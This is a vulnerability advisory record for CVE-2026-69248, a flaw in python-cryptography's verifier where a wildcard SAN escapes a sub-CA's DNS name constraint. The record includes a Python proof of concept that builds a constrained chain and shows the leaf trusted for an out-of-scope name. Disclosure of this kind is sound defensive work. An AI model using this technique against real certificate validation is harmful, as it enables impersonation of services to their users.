{"id":"CVE-2026-69248","aliases":["CVE-2026-69248","GHSA-m2h6-j472-rp4c","PYSEC-2026-3554"],"related":[],"kind":"vulnerability","state":"published","title":"python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees","summary":"cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes — a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n         .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n         .serial_number(x509.random_serial_number())\n         .not_valid_before(now - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e, c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n    excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n    PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n    v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.","format":"markdown","source":"ghsa"},{"lang":"es","text":"criptografía es un paquete diseñado para exponer primitivas y recetas criptográficas a los desarrolladores de Python. Antes de 49.0.0, si una CA intermedia restringida permite el nombre DNS foo.example.com, y el certificado hoja tiene un comodín en su SAN DNS de *.example.com, el verificador de python-cryptography lo acepta, lo que permite escapar fuera de los nombres permitidos. El problema principal está en DNSConstraint::matches, donde un patrón de comodín fue tratado como coincidente con una restricción permitida más específica, a pesar de que *.example.com puede expandirse a nombres hermanos como bar.example.com fuera de foo.example.com. Esto permite la aceptación de una cadena de certificados no válida. Este problema está solucionado en 49.0.0.","source":"nvd"}],"published":"2026-08-03T21:21:43.710Z","modified":"2026-10-23T21:10:00.157Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","score":6.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}],"cwes":["CWE-295"],"affected":[{"ranges":[{"version":"< 49.0.0","status":"affected"}],"vendor":"pyca","product":"cryptography","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"45.0.0","status":"affected","fixed":"49.0.0"}],"ecosystem":"PyPI","package":"cryptography","purl":"pkg:pypi/cryptography","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"49.0.0"}],"ecosystem":"PyPI","package":"cryptography","purl":"pkg:pypi/cryptography","source":"pysec"}],"references":[{"url":"https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/pyca/cryptography/pull/14888","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69248","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pyca/cryptography/commit/286c89128","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/pyca/cryptography","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/cryptography","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-m2h6-j472-rp4c","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-08-04T13:34:32.304Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-69248","url":"https://www.cve.org/CVERecord?id=CVE-2026-69248","licence":"CVE Terms of Use","modified":"2026-09-02T13:26:35.057Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m2h6-j472-rp4c","url":"https://github.com/advisories/GHSA-m2h6-j472-rp4c","licence":"CC-BY-4.0","modified":"2026-09-24T15:00:04.719Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-69248","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69248","licence":"Public domain","modified":"2026-10-23T21:10:00.157Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3554","url":"https://osv.dev/vulnerability/PYSEC-2026-3554","licence":"CC-BY-4.0","modified":"2026-08-04T14:30:26.230Z"}],"updatedAt":"2026-11-25T22:59:30.915Z","epss":{"score":0.00244,"percentile":0.16671,"date":"2026-12-01T12:00:22.000Z"}}